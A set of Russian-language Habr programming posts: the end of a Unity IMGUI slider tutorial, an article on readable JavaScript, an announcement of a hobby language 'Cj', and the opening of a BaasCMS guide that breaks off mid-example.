Параметр FocusType.Passive определяет роль элемента в навигации с помощью клавиатуры. Passive означает, что наша полоса не реагирует на ввод с клавиатуры. В противном случае используются Native или Keyboard. Более подробную информацию о параметре [FocusType](http://docs.unity3d.com/ScriptReference/FocusType.html) можно найти в соответствующей документации.
Теперь мы воспользуемся оператором ветвления, чтобы разделить код, необходимый для различных типов событий. Вместо того чтобы использовать Event.current.type напрямую, мы применим [Event.current.GetTypeForControl(),](http://docs.unity3d.com/ScriptReference/Event.GetTypeForControl.html) присвоив ему control ID. Таким образом мы отфильтруем типы событий, чтобы, например, событие клавиатуры не ссылалось на неправильный элемент. Тем не менее такая фильтрация не универсальна, поэтому позднее нам придется добавить дополнительные проверки.
```
switch (Event.current.GetTypeForControl(controlID))
{
```
Итак, можно приступать к реализации поведений для разных типов событий. Начнем с отрисовки:
```
case EventType.Repaint:
{
// Work out the width of the bar in pixels by lerping
int pixelWidth = (int)Mathf.Lerp (1f, controlRect.width, value);
// Build up the rectangle that the bar will cover
// by copying the whole control rect, and then setting the width
Rect targetRect = new Rect (controlRect){ width = pixelWidth };
// Tint whatever we draw to be red/green depending on value
GUI.color = Color.Lerp (Color.red, Color.green, value);
// Draw the texture from the GUIStyle, applying the tint
GUI.DrawTexture (targetRect, style.normal.background);
// Reset the tint back to white, i.e. untinted
GUI.color = Color.white;
break;
}
```
На этом можно было бы остановиться и получить готовый элемент визуализации плавающих значений от 0 до 1 в режиме «только для чтения». Но давайте продолжим и сделаем его интерактивным.
Чтобы сделать использование элемента удобным, после захвата ползунка нажатием кнопки следует учитывать только горизонтальное движение мыши независимо от того, остается ли курсор в пределах полосы. При этом нужно сделать следующую вещь: пока пользователь не отпустит кнопку мыши, ее движение не должно влиять на другие элементы интерфейса.
Для этого мы воспользуемся переменной [GUIUtility.hotControl,](http://docs.unity3d.com/ScriptReference/GUIUtility-hotControl.html) содержащей control ID, который в данный момент взаимодействует с мышью. IMGUI использует ее в функции GetTypeForControl(). Если она не равна нулю, события мыши отфильтровываются (при условии, что передаваемый control ID не совпадает со значением hotControl).
Установить и сбросить hotControl очень просто:
```
case EventType.MouseDown:
{
// If the click is actually on us...
if (controlRect.Contains (Event.current.mousePosition)
// ...and the click is with the left mouse button (button 0)...
&& Event.current.button == 0)
// ...then capture the mouse by setting the hotControl.
GUIUtility.hotControl = controlID;
break;
}
case EventType.MouseUp:
{
// If we were the hotControl, we aren't any more.
if (GUIUtility.hotControl == controlID)
GUIUtility.hotControl = 0;
break;
}
```
Обратите внимание: если любой другой элемент является hotControl (например, GUIUtility.hotControl не равен нулю и содержит другой идентификатор), GetTypeForControl() не станет возвращать mouseUp/mouseDown, а просто проигнорирует эти события.
Теперь нужно создать код для изменения плавающей переменной в то время, пока зажата кнопка мыши. Проще всего закрыть ветвление и указать, что любое событие, связанное с мышью и происходящее, пока идентификатор элемента находится в hotControl (т. е. пока происходит перетаскивание и кнопка мыши еще не была отпущена), должно изменять значение переменной:
```
if (Event.current.isMouse && GUIUtility.hotControl == controlID) {
// Get mouse X position relative to left edge of the control
float relativeX = Event.current.mousePosition.x - controlRect.x;
// Divide by control width to get a value between 0 and 1
value = Mathf.Clamp01 (relativeX / controlRect.width);
// Report that the data in the GUI has changed
GUI.changed = true;
// Mark event as 'used' so other controls don't respond to it, and to
// trigger an automatic repaint.
Event.current.Use ();
}
```
Два последних шага – установка [GUI.changed](http://docs.unity3d.com/ScriptReference/GUI-changed.html) и вызов [Event.current.Use()](http://docs.unity3d.com/ScriptReference/Event.Use.html) – особенно важны для корректного взаимодействия внутри множества элементов IMGUI. Установка значения TRUE для GUI.changed позволяет использовать функции [EditorGUI.BeginChangeCheck()](http://docs.unity3d.com/ScriptReference/EditorGUI.BeginChangeCheck.html) и [EditorGUI.EndChangeCheck()](http://docs.unity3d.com/ScriptReference/EditorGUI.EndChangeCheck.html) для проверки изменения значения переменной действиями пользователя. Значение FALSE лучше не использовать, чтобы не пропустить предыдущие изменения.
Наконец, наша функция должна вернуть новое значение плавающей переменной. Чаще всего оно будет отличаться от предыдущего значения:
```
return value;
}
```
MyCustomSlider готов. У нас получился простой функциональный элемент IMGUI, который можно использовать в пользовательских редакторах, PropertyDrawers, EditorWindows и т. д. Но это еще не всё. Далее мы поговорим о том, как можно расширить его функционал, например добавить возможность мультиредактирования. | https://habr.com/ru/post/278041/ | null | ru | null |
# Как важно писать код, который могут читать люди
Вам приходилось завершать проект одним махом, когда не было нужды снова смотреть в код? Вряд ли. Работая над старыми проектами, вам, вероятно, не хочется тратить время на выяснение, как работает этот код. Если код читабелен, то продукт легко сопровождать, а вы, ваши коллеги или сотрудники — счастливы.
Яркие примеры нечитаемого кода встречаются на соревнованиях [JS1k](http://js1k.com/), цель которых заключается в написании лучших JS-приложений, состоящих из 1024 символов или того меньше. То же самое можно сказать и про [JSF\*ck](http://www.jsfuck.com/), крайне своеобразный стиль программирования, использующий только шесть разных символов для написания JS-кода. Глядя на выложенный на этих сайтах код, вы будете ломать голову, пытаясь понять, что здесь происходит. А представьте, каково это: написать подобный код и спустя месяц пытаться исправить баг.
Если вы регулярно сёрфите по сети или создаёте интерфейсы, то, вероятно, знаете, что для заполнения большой формы нужно много времени и терпения, которых хватает не всем пользователям. То же самое можно сказать и о коде. Чем легче его читать, тем приятнее долго работать с ним. Или как минимум не возникнет желания выкинуть компьютер в окно.
В этой статье будут рассмотрены разные уловки и хитрости, позволяющие избежать подводных камней и сделать код более читабельным.
*Оригинал статьи: <https://www.sitepoint.com/importance-of-code-that-humans-can-read/>*
### Разделение кода
Возвращаясь к аналогии с формами: иногда их делят на части, чтобы было проще выводить на экран. То же самое можно сделать с кодом. Если поделить его на части, то будет легче найти нужный фрагмент, не продираясь сквозь джунгли.
#### Оптимизация файлов
Мы годами занимаемся оптимизацией для веба, и JS-файлы не исключение. Выполняя минификацию в ожидании HTTP/2, мы экономили запросы, объединяя несколько скриптов в один. Сегодня можно работать как угодно, взвалив задачу обработки файлов на инструменты вроде [Gulp](http://gulpjs.com/) или [Grunt](http://gruntjs.com/). То есть можно программировать так, как хочется, а оптимизацией (например, выполнением конкатенации) пусть занимаются специально обученные приложения.
```
// Загрузка пользовательских данных из API
var getUsersRequest = new XMLHttpRequest();
getUsersRequest.open('GET', '/api/users', true);
getUsersRequest.addEventListener('load', function() {
// Делаем что-нибудь с пользователями
});
getUsersRequest.send();
//---------------------------------------------------
// Здесь начинается другая функциональность.
// Возможно, это шанс разделить код на разные файлы.
//---------------------------------------------------
// Загрузка данных о постах из API
var getPostsRequest = new XMLHttpRequest();
getPostsRequest.open('GET', '/api/posts', true);
getPostsRequest.addEventListener('load', function() {
// Делаем что-нибудь с постами
});
getPostsRequest.send();
```
#### Функции
Они позволяют создавать блоки многократно используемого кода. Обычно содержимое функции позволяет легко понять, где она начинается и где заканчивается. Хорошей привычкой является написание небольших функций — не более 10 строк. Если у функции правильное имя, то легко понять, что она делает при вызове. Ниже мы ещё вернёмся к соглашениям об именовании.
```
// Загрузка пользовательских данных из API
function getUsers(callback) {
var getUsersRequest = new XMLHttpRequest();
getUsersRequest.open('GET', '/api/users', true);
getUsersRequest.addEventListener('load', function() {
callback(JSON.parse(getUsersRequest.responseText));
});
getUsersRequest.send();
}
// Загрузка данных о постах из API
function getPosts(callback) {
var getPostsRequest = new XMLHttpRequest();
getPostsRequest.open('GET', '/api/posts', true);
getPostsRequest.addEventListener('load', function() {
callback(JSON.parse(getPostsRequest.responseText));
});
getPostsRequest.send();
}
// Благодаря правильному именованию этот код легко понять
// без чтения самих функций
getUsers(function(users) {
// Делаем что-нибудь с пользователями
});
getPosts(function(posts) {
// Делаем что-нибудь с постами
});
```
Приведённый код легко читается. Обратите внимание, что обе функции почти идентичны. Можно следовать принципу «[не повторяйся](https://ru.wikipedia.org/wiki/Don%E2%80%99t_repeat_yourself)», это позволяет сохранять порядок в коде.
```
function fetchJson(url, callback) {
var request = new XMLHttpRequest();
request.open('GET', url, true);
request.addEventListener('load', function() {
callback(JSON.parse(request.responseText));
});
request.send();
}
// Следующий код всё ещё легко понять
// без чтения предыдущей функции
fetchJson('/api/users', function(users) {
// Делаем что-нибудь с пользователями
});
fetchJson('/api/posts', function(posts) {
// Делаем что-нибудь с постами
});
```
А что если мы захотим создать нового пользователя с помощью POST-запроса? Есть два варианта:
* Добавить в функцию опциональные аргументы, внеся новую логику и сделав функцию слишком сложной.
* Создать новую функцию специально для POST-запросов, что может повлечь дублирование кода.
Но благодаря объектно-ориентированному программированию можно взять всё самое лучшее из обоих вариантов, создав конфигурируемый одноразовый объект, при этом код останется достаточно простым в сопровождении.
**Примечание**: если вам нужны азы именно по объектно-ориентированному JavaScript, можете посмотреть это видео: [Полное руководство по объектно-ориентированному JavaScript](https://www.youtube.com/watch?v=PMfcsYzj-9M).
#### Объектно-ориентированное программирование
Рассмотрим объекты, часто называемые классами, представляющие собой контекстно-зависимые кластеры функций. Такой объект прекрасно помещается в отдельный файл. В нашем случае можно создать базовую обёртку для XMLHttpRequest. Обратите внимание, что вплоть до 2015 года JavaScript был прототипно-ориентированным языком и не имел классов. Этот факт вместе с прототипным наследованием диктуют определённые правила форматирования кода.
**HttpRequest.js**
```
function HttpRequest(url) {
this.request = new XMLHttpRequest();
this.body = undefined;
this.method = HttpRequest.METHOD_GET;
this.url = url;
this.responseParser = undefined;
}
HttpRequest.METHOD_GET = 'GET';
HttpRequest.METHOD_POST = 'POST';
HttpRequest.prototype.setMethod = function(method) {
this.method = method;
return this;
};
HttpRequest.prototype.setBody = function(body) {
if (typeof body === 'object') {
body = JSON.stringify(body);
}
this.body = body;
return this;
};
HttpRequest.prototype.setResponseParser = function(responseParser) {
if (typeof responseParser !== 'function') return;
this.responseParser = responseParser;
return this;
};
HttpRequest.prototype.send = function(callback) {
this.request.addEventListener('load', function() {
if (this.responseParser) {
callback(this.responseParser(this.request.responseText));
} else {
callback(this.request.responseText);
}
}, false);
this.request.open(this.method, this.url, true);
this.request.send(this.body);
return this;
};
```
**app.js**
```
new HttpRequest('/users')
.setResponseParser(JSON.parse)
.send(function(users) {
// Делаем что-нибудь с пользователями
});
new HttpRequest('/posts')
.setResponseParser(JSON.parse)
.send(function(posts) {
// Делаем что-нибудь с постами
});
// Создаём нового пользователя
new HttpRequest('/user')
.setMethod(HttpRequest.METHOD_POST)
.setBody({
name: 'Tim',
email: 'info@example.com'
})
.setResponseParser(JSON.parse)
.send(function(user) {
// Делаем что-нибудь с новым пользователем
});
```
Обратите внимание, что константы должны объявляться сразу в конструкторе. Созданный выше класс HttpRequest теперь можно конфигурировать в широких пределах, применяя для многих вызовов API. Несмотря на то, что его реализация — цепочка вызовов методов — получилась сложнее, сам класс легче сопровождать. Процесс поиска баланса между реализацией и возможностью переиспользовать код может быть непростым, и зависит от проекта.
Отличным дополнением к объектно-ориентированному программированию являются шаблоны проектирования. Сами по себе они не улучшают читабельность, но за них это делает консистентность!
### Понятный человеку синтаксис
Файлы, функции, объекты — это лишь грубые ориентиры. Они облегчают *сканирование* нашего кода. А вот сделать код *лёгким для чтения* — гораздо более тонкое искусство. Мельчайшие детали могут полностью изменить картину. Например, часто в редакторах с помощью вертикальной линии длина строк ограничивается 80 символами. Но есть и много других нюансов!
#### Именование
Благодаря правильному именованию вы можете мгновенно узнавать те или иные элементы, не выясняя, что же это за переменная, или что делает эта функция.
Функции обычно именуют в [СтилеВерблюда](https://ru.wikipedia.org/wiki/CamelCase): сначала идёт глагол, а затем субъект.
```
function getApiUrl() { /* ... */ }
function setRequestMethod() { /* ... */ }
function findItemsById(n) { /* ... */ }
function hideSearchForm() { /* ... */ }
```
Для наименований переменных попробуйте использовать методику [перевёрнутой пирамиды](https://en.wikipedia.org/wiki/Inverted_pyramid): сначала идёт субъект, а затем свойства.
```
var element = document.getElementById('body'),
elementChildren = element.children,
elementChildrenCount = elementChildren.length;
// Задавая набор цветов, в наименованиях переменных добавлен префикс “color”
var colorBackground = 0xFAFAFA,
colorPrimary = 0x663399;
// Задавая свойства фона, в качестве основы используется “background”
var backgroundColor = 0xFAFAFA,
backgroundImages = ['foo.png', 'bar.png'];
// Всё зависит от контекста
var headerBackgroundColor = 0xFAFAFA,
headerTextColor = 0x663399;
```
В подобных случаях лучше использовать ассоциативные массивы (объекты в JS), тогда можно избавиться от приставки color, и читаемость улучшается.
```
var colors = {
'backgroundRed' : red,
'primary': greeen
};
```
Важно также подчеркнуть различие между обычными переменными и специальными. К примеру, имена констант часто пишутся прописными буквами с подчёркиваниями.
```
var URI_ROOT = window.location.href;
Классы обычно именуются в СтилеВерблюда, первая буква прописная.
function FooObject {
// ...
}
```
С аббревиатурами тоже есть нюанс. Кто-то пишет их только прописными буквами, кто-то — в СтилеВерблюда. В первом случае могут быть затруднения в узнавании аббревиатур.
Но в целом всё зависит от стиля написания кода, принятого разработчиком или командой. Всегда нужно придерживаться одного выбранного стиля, делать проверки на соответствие ему, использовать линтер.
#### Компактность и оптимизация
Во многих кодовых базах можно встретить «специальный» код, призванный уменьшить количество символов или повысить производительность алгоритмов.
Примером компактного кода являются скрипты из одной строки. К сожалению, они часто используют хаки или малопонятный синтаксис. Как правило, применяют вложенные тернарные операторы. Несмотря на их компактность, вам придётся потратить пару секунд, пытаясь понять, что они делают, в отличие от обычных выражений `if`. Так что будьте осторожны с синтаксическими сокращениями.
Хорошим подходом является минификация кода на продакшне. Файлы весят меньше, быстрее грузятся браузером, уменьшается время загрузки всей страницы. Но минифицированные файлы, удобные на продакшене, совсем неудобны в разработке. Поэтому можно разделить JS, используемый на проде и на деве, хранить по две версии каждого файла (минифицированную и полную), и по заданной в конфигурации среде переключать их использование.
```
// Ура, кому-то удалось сделать этот однострочник!
var state = isHidden ? 'hidden' : isAnimating ? 'animating' : '';
// Ура, кто-то сделал его читабельным!
var state = '';
if (isAnimating) state = 'animating';
if (isHidden) state = 'hidden';
```
Микрооптимизации, призванные улучшить производительность, часто малоэффективны. И чаще всего они менее читабельны, чем не столь производительные аналоги.
```
// Это может работать быстро
$el[0].checked;
// Это тоже достаточно быстро, но читается легче
// Источник: http://jsperf.com/prop-vs-ischecked/5
$el.prop('checked');
$el.is(':checked');
$el.attr('checked');
```
При множественных точечных проверках лучше использовать switch, тогда семантически понятнее, что сейчас будет происходить проверка на точечные значения.
Компиляторы JavaScript хорошо выполняют для нас оптимизацию кода, и с годами делают это всё лучше и лучше. Если разница между оптимизированным и неоптимизированным кодом [незаметна](http://www.smashingmagazine.com/2015/09/why-performance-matters-the-perception-of-time/), что часть наблюдается при использовании тысяч или миллионов операций, то лучше отдать предпочтение читабельности.
### Не-код
Считайте это иронией, но лучший способ сделать код читабельным — добавить неисполняемый синтаксис. Назовём его не-код. Но не забывайте о том, что в JS есть общепринятые стандарты форматирования кода, которыми не стоит пренебрегать. Они будут рассмотрены ниже.
#### Отступы
Наверняка каждый разработчик хоть раз в жизни помогал писать код другому разработчику или инспектировал минифицированный код, в котором удалены все пробелы и отступы. В первый раз это наверняка было для вас сюрпризом. В различных изобразительных сферах, например, дизайне и типографике, свободное пространство не менее важно, чем заполнение. Скорее всего вам захочется найти между ними тонкий баланс. Диапазон мнений относительно этого баланса зависит от компании, команды и конкретного разработчика. К счастью, существуют некоторые общепринятые правила:
* Использование одного выражения на строку.
* Отступ для выделения блока.
* Для разделения кода можно использовать дополнительные разрывы.
Любые другие правила нужно обсудить с теми, с кем вы работаете. Но какой бы стиль оформления кода вы не приняли, ключевой момент — консистентность.
```
function sendPostRequest(url, data, cb) {
// Несколько присваиваний сгруппированы и аккуратно выделены отступами
var requestMethod = 'POST',
requestHeaders = {
'Content-Type': 'text/plain'
};
// Инициализация, конфигурирование и отправка XMLHttpRequest
var request = new XMLHttpRequest();
request.addEventListener('load', cb, false);
request.open(requestMethod, url, false);
request.send(data);
}
```
#### Комментарии
Как и отступы, комментарии могут прекрасно разрежать ваш код. И в то же время они содержат описание вашего кода. Обязательно добавляйте комментарии для:
* Объяснения и аргументирования **неочевидного кода**.
* Какой баг чинится с помощью этого **фикса**, с указанием источника.
```
// Суммирование значений диапазона графика
var sum = values.reduce(function(previousValue, currentValue) {
return previousValue + currentValue;
});
```
Не все фиксы очевидны. Внесение дополнительной информации многое проясняет:
```
if ('addEventListener' in element) {
element.addEventListener('click', myFunc);
}
// IE8 и ниже не поддерживают .addEventListener,
// поэтому вместо него нужно использовать .attachEvent
// http://caniuse.com/#search=addEventListener
// https://msdn.microsoft.com/en-us/library/ms536343%28VS.85%29.aspx
else {
element.attachEvent('click', myFunc);
}
```
При использовании документации к функциям лучше не использовать комментарии в коде и стараться писать многострочные функции, не нуждающиеся в комментариях. При работе можно использовать комментарии [todo](https://habrahabr.ru/users/todo/), многие IDE поддерживают поиск по ним. С помощью [todo](https://habrahabr.ru/users/todo/) помечаются куски кода, которые необходимо доработать или завершить. Поэтому другим разработчикам будет проще понять ваш подход, заложенную при планировании и проектировании логику. Поставленная в нужном месте [todo](https://habrahabr.ru/users/todo/) может быть очень полезна.
#### Встроенная документация
При написании объектно-ориентированного ПО, встроенная документация может сделать ваш код посвободнее, как и обычные комментарии. Также она объясняет назначение и подробности работы свойств и методов. Многие IDE используют встроенную документацию в качестве подсказок, которые используют даже инструменты генерирования документации! Вне зависимости от причины, написание доков в коде — отличное решение.
```
/**
* Создание HTTP-запроса
* @constructor
* @param {string} url
*/
function HttpRequest(url) {
// ...
}
/**
* Настройка объекта заголовка
* @param {Object} headers
* @return {HttpRequest}
*/
HttpRequest.prototype.setHeaders = function(headers) {
for (var header in headers) {
this.headers[header] = headers[header];
}
// Возврат в цепочку
return this;
};
```
Хотя здесь в комментарии указано [param](https://habrahabr.ru/users/param/) {Object} headers, лучше всё же указывать описание того, что хранится и передаётся в этом параметре. Эту информацию рекомендуется указывать сразу после самого параметра. Допустим, это Holds success request headers( 200 ). Тогда комментарий будет выглядеть так:
`@param {Object} headers Holds success request headers( 200 )`
Существуют разные форматы документации к функциям, очень важно, чтобы вся команда использовала один и тот же формат. А если разработчик один, то нужно использовать один и тот же формат в разных местах. В описании формальных параметров обязательно указывать ТИ формального параметра. Некоторые IDE налету подсказывают, если передается переменная не того типа. JS — язык с динамической типизацией, и не факт, что IDE выдаст ошибку, но при парсинге таких документаций можно будет избежать большого количества ошибок.
### Загадки callback'ов
События и асинхронные вызовы — это прекрасные свойства JavaScript, но они часто ухудшают читабельность кода.
Обычно асинхронным вызовам сопутствуют callback'и. Иногда их нужно запускать последовательно, а иногда лучше дождаться сначала готовности всех из них. В документации к функции обязательно нужно делать ссылку на callback-функцию, чтобы можно было легко к ней перейти или посмотреть описание.
```
function doRequest(url, success, error) { /* ... */ }
doRequest('https://example.com/api/users', function(users) {
doRequest('https://example.com/api/posts', function(posts) {
// Делаем что-нибудь с пользователями и постами
}, function(error) {
// ошибка с /api/posts
});
}, function(error) {
// ошибка с /api/users
});
```
Для решения обеих задач, в ES2015 (также известном как ES6) был реализован объект Promise.
```
function doRequest(url) {
return new Promise(function(resolve, reject) {
// Инициализируем запрос
// В случае успеха вызываем resolve(response)
// В случае ошибки вызываем reject(error)
});
}
// Сначала запрашиваем пользователей
doRequest('https://example.com/api/users')
// Когда все они успешно выполнены, запускаем .then()
.then(function(users) { /* ... */ })
// Когда любой из Promise активизировал функцию reject(), вызываем .catch()
.catch(function(error) { /* ... */ });
// Параллельный запуск нескольких Promise
Promise.all([
doRequest('https://example.com/api/users'),
doRequest('https://example.com/api/posts')
])
.then(function(responses) { /* ... */ })
.catch(function(error) { /* ... */ });
```
Хотя пришлось добавить часть кода, в целом его стало легче правильно интерпретировать. Если вы хотите больше узнать о Promise, то можете прочитать [JavaScript Goes Asynchronous (and It’s Awesome)](http://www.sitepoint.com/javascript-goes-asynchronous-awesome/).
### ES6/ES2015
Если вы читали спецификацию ES2015, то могли заметить, что все примеры кода в этой статье относятся к старым версиям (за исключением объекта Promise). Несмотря на то, что ES6 даёт нам очень широкие возможности, к нему есть ряд претензий относительно ужасной читабельности.
Синтаксис с использованием толстой стрелки (fat arrow syntax) определяет функцию, наследующую значение `this` от её родительской области видимости. Как минимум, для этого она была создана. Также её заманчиво использовать для определения обычных функций.
```
var add = (a, b) => a + b;
console.log(add(1, 2)); // 3
```
Другой пример — синтаксис “rest and spread”.
```
/**
* Суммируем список чисел
* @param {Array} numbers
* @return {Number}
*/
function add(...numbers) {
return n.reduce(function(previousValue, currentValue) {
return previousValue + currentValue;
}, 0);
}
add(...[1, 2, 3]);
/**
* Суммируем a, b и c
* @param {Number} a
* @param {Number} b
* @param {Number} c
* @return {Number}
*/
function add(a, b, c) {
return a + b + c;
}
add(1, 2, 3);
```
В спецификациях ES2015 описан очень полезный, но невразумительный, и иногда сбивающий с толку синтаксис, ставший мишенью для критиков. Но речь идёт не о том, чтобы отказаться от этих возможностей, а просто использовать их с осторожностью.
### Заключение
Для поддержания читабельности и удобства сопровождения кода необходимо помнить о каждом аспекте вашего проекта. Всё имеет значение — от файловой системы до небольших вариаций синтаксиса. Особенно ярко это заметно при работе в команде, ведь трудно заставить каждого участника постоянно соблюдать все правила. Часть проблемы решается посредством ревизий кода, но всё равно остаётся вероятность ошибки. К счастью, существует несколько полезных инструментов:
* [JSHint](http://jshint.com/) — линтер JavaScript, позволяющий избегать ошибок в коде.
* [Idiomatic](https://github.com/rwaldron/idiomatic.js/) — популярный стандарт стилистического оформления кода, но вовсе не обязательно следовать ему дословно.
* [EditorConfig](http://editorconfig.org/) — определение кросс-редакторных стилей оформления кода.
Очень важно анализировать сложность кода, и существуют разные подходы к анализу. Подробнее об этом можно почитать тут: <http://jscomplexity.org/complexity>
Помимо инструментов для выдерживания качества и стиля, есть ряд инструментов для улучшения читабельности. Попробуйте разные схемы подсветки синтаксиса, или воспользуйтесь миникартой для иерархической оценки своего скрипта ([Atom](https://atom.io/packages/minimap), [Brackets](https://github.com/zorgzerg/brackets-minimap)). Например, <https://github.com/airbnb/javascript> — довольно популярный стандарт форматирования кода в JS. Нужно отметить, что форматирование кода и стандарт зависят от используемых инструментов. Например, в случае с React и JSX будут другие стилистические требования. | https://habr.com/ru/post/307380/ | null | ru | null |
# Cj — новый язык программирования
Давно уже в моей голове поселилась эта идея. Но я всё откладывал на потом — были более важные или интересные дела. А теперь я жалею, надо было всё бросить и сосредоточиться только на ней!
Все замерли в ожидании, что за идея? Идея — написать свой язык программирования!
Вздох разочарования, 99% выкинули свои компьютеры в окно, ну а для тех кто остался, я продолжу.
Меня всегда интересовали различные направления и веб я хочу сбацать и мобайл и десктоп и что-нибудь серверное готов написать, ещё мне интересены ИИ, игры, роботы, криптовалюты… И при этом, хотелось бы всё это писать на одном языке).
Смотрел я в сторону С++, C#, Java, Javascript и даже Python, но везде мне что-нибудь не нравилось…
Итак, всё решено, пишу свой язык программирования. Скрестим мощный C++ с лёгким Javascript и назовём Cj!
Начинаем придумывать синтаксис языка
------------------------------------
При описании переменных я предлагаю дать возможность как в С++ сразу указывать тип переменной. Для описания автоматической переменной используем, как и в C++, слово auto, либо не указываем, как в Javascript, тип данных совсем.
```
int a;
auto b;
c = 5;
```
Теже правила применяем и для описания функций:
```
int sum() {}
auto sub() {}
mul() {}
```
Смотрите как удобно и лаконично! Если у имени есть скобочки (), то это функция, не надо никаких function, как в Javascript, но и возвращаемый тип указывать не обязательно!
Пока достаточно, полную спецификацию на язык можно посмотреть здесь: [sitev.ru/post/163](http://sitev.ru/post/163)
Выбираем инструмент для написания компилятора
---------------------------------------------
Конечно, я сразу же побежал читать статьи про LLVM. Но прочитав пару статеек, мне стало скучно и грусно. Мозг устал, благо пора уже было спать. Проснувшись утром, я уже знал решение этой задачи: никаких 4-х букв, пишу строго на С++! Напишу свой лексер, парсер и т.д… Мне так интереснее, и в добавок, на выходе получим свой простенький аналог LLVM!
Синтаксические диаграммы для языка Cj
-------------------------------------
Писать сразу код по спецификации я пробывал, но постоянно путался, переписывал. Да и зачем? Если есть синтаксические диаграммы Вирта. Надо описать синтаксис визуально, а потом перевести его в код. Давайте быстренько набросаем эти диаграммы.
Программа — это блок кода, который состоит из statement (инструкций).
Основной код main\_block\_code отличается от вложенного {}. Для них буду разные диаграммы.
Обработка функций — это вызов и описание функции. Вызов попроще:
описание чуть посложнее:
И да, мы забыли про переменные и про то как они с функциями будут участвовать в выражении:
Осталось написать компилятор
----------------------------
Злые языки начнут язвить: ну-ну, пиши давай теперь свой компилятор. А я вот написал уже (генерирует исходник на JavaScript).
Пример на языке Cj:
`int my_func1(int p) {
int a;
a = 5;
}
my_func1();`
А вот что получается на Javascript:
```
function my_func1(p) {
var a;
a = 5;
}
my_func1();
```
Конечно, в языке пока только внедрены самые базовые возможности. Что тут говорить, в нём даже не описан оператор if! Да и компилятор скорее всего будет падать. Но всё ещё впереди, как говорится: лиха беда начало!
Исходники выложил [на ГитХаб](https://github.com/sitev/cj), а вот [бинарник](https://github.com/sitev/cj/tree/master/bin/win32).
Смотрим, тестируем, присоединяемся к написанию нового языка программирования Cj! | https://habr.com/ru/post/340204/ | null | ru | null |
# BaasCMS – бэкенд не нужен
**BaasCMS** — это JavaScript CMS, использующая в качестве бэкенда популярных провайдеров [BaaS](http://en.wikipedia.org/wiki/Backend_as_a_service). На данный момент поддерживается только [Parse.com](https://parse.com/).
[Исходный код BaasCMS](https://github.com/Artod/baascms) доступен на GitHub.
[**BaasCMS Demo** на GitHub Pages](https://artod.github.io/baascms/demo/#/)
Тоже самое [**BaasCMS Demo** на Tumblr](http://baascms.tumblr.com/#/)
Можно посмотреть [Админ-панель](https://artod.github.io/baascms/admin/parse/#/) для этого демо (изменения/добавление запрещены). В соответвующую форму на главной странице админки нужно вставить следующие ключи:
* *Application ID*: nM7P7NnFA95CK1WrqWOf9wa3mskctaTOdk9vYflj
* *Javascript Key*: 0zHfA9FG8L1xR699qmFXjxkZ1pDxgml0MWZMpqJG
Быстрый старт
-------------
Для начала работы с BaasCMS нужно пройти следующие шаги:
1. Зарегистрируйтесь на [Parse.com](https://www.parse.com/#signup).
2. Создайте [новое приложение](https://www.parse.com/apps/new).
3. Скопируйте **Application ID** и **Javascript Key** вашего нового приложения и вставьте их в соответствующую форму на главной странице [Админ-панели BaasCMS](https://artod.github.io/baascms/admin/parse/#).
После сохранения ключей можно начать работать с админкой.
В BaasCMS вводятся сущности **категория**, **паттерн** и **айтем**. Каждой категории можно присвоить заранее созданный паттерн. Если категория имеет паттерн, то в рамках этой категории можно создавать айтемы с полями, которые определенны в паттерне.
Например, вы можете создать паттерн под названием *Article* с полями *name* типа *text*, *photo* типа *google drive image* и *body* типа *textarea*, а затем создать категорию под названием *Блог* и в соответвующем select выбрать паттерн *Article*. Теперь в эту категорию можно добавлять айтемы с полями *name*, *photo* и *body*.
Для начала кастомизации фронтфейса вашего приложения воспользуйтесь болванкой [baascms.parse.html](https://github.com/Artod/baascms/blob/master/baascms.parse.html):
1. Сохраните файл себе на компьютер и откройте на редактирование.
2. Найдите 19 строчку с `Parse.initialize('YOUR-APPLICATION-ID-HERE', 'YOUR-JAVASCRIPT-KEY-HERE');` и впишите туда свои ключи.
3. Залейте файл на хостинг и смотрите что получилось. Сразу предупреждаю, в болванке нет никаких стилей, так что не пугайтесь.
Если у вас нету своего хостинга, то можно воспользоваться [GitHub Pages](https://pages.github.com/) или [Tumblr](https://www.tumblr.com/dashboard) или любым другим сервисом, где позволяют заливать свой html и не режут скрипты.
Tumblr в качестве хостинга:
1. Зарегистрируйтесь на [Tumblr](https://www.tumblr.com/register) или просто [создайте новый блог](https://www.tumblr.com/new/blog), если уже есть аккаунт.
2. Перейдите в [dashboard](https://www.tumblr.com/dashboard) и кликните на ссылку «Настроить» в правой части.
3. Затем кликните по ссылке «Редактировать HTML» в левой части.
4. В появившемся сайдбаре удалите весь html и вставьте содержимое вашей болванки.
5. Сохраните изменения и перейдите в ваш блог по ссылке *{ИМЯ-ВАШЕГО-БЛОГА}.tumblr.com* и смотрите, что получилось.
Шаблоны
-------
HTML-шаблоны в BaasCMS выглядят примерно так:
```
<ul>
<%= htmlElements %>
</ul>
```
В качестве шаблонизатора используется Underscore.js-функция [template](http://underscorejs.org/#template).
Правила, по которым именуются id шаблонов, покажу на примере. Для категорий по умолчанию используются шаблоны со следующими id:
* *template-baascms-categories-element* — для вывода одного элемента из списка многих категорий.
* *template-baascms-categories-wrap* — для вывода html окружающего элементы.
* *template-baascms-category* — для вывода подробного описания категории.
Для айтемов по умолчанию используются id:
* *template-baascms-items-element* — для вывода одного элемента.
* *template-baascms-items-wrap* — для вывода html окружающего элементы.
* *template-baascms-item* — для вывода подробного описания.
Если вам нужно создать особенные шаблоны для айтемов определенного паттерна, например *Article*, то создайте шаблоны со следующими ниже id и CMS автоматом их подхватит:
* *template-baascms-article-items-element*
* *template-baascms-article-items-wrap*
* *template-baascms-article-item*
Виджеты
-------
Для доступа к данным и рендеринга используются виджеты. Существует шесть виджетов на данный момент:
* Category
* Categories
* Item
* Items
* Breadcrumbs
* Main
Все виджеты, кроме *Main*, наследуют от класса *BaasCMS.Widget*, у которого есть следующие опции:
```
{
elementSelector: '', // jquery селектор для контейнера куда рендерить
template: '', // шаблон для одиночных элементов, например "template-baascms-items-element" или "template-baascms-item"
templateWrap: '', // шаблон для окружающего элементы html, например "template-baascms-items-wrap"
autoLoad: true, // если true, то автоматически делает ajax-запрос и рендерит в контейнер
cache: 'yes', // кешировать запрос к серверу или нет соответсвенно
select: null, // массив с полями, которые нужно запросить
where: {}, // условия запроса
beforeQuery: function() {}, // соответствующие коллбэки
afterQuery: function() {},
beforeRender: function() {},
afterRender: function() {}
}
```
Например, нам нужно вывести все айтемы паттерна *Product*, у которых поле *sale* равно *yes*:
```
new BaasCMS.widgets.Items({
elementSelector: '#sale',
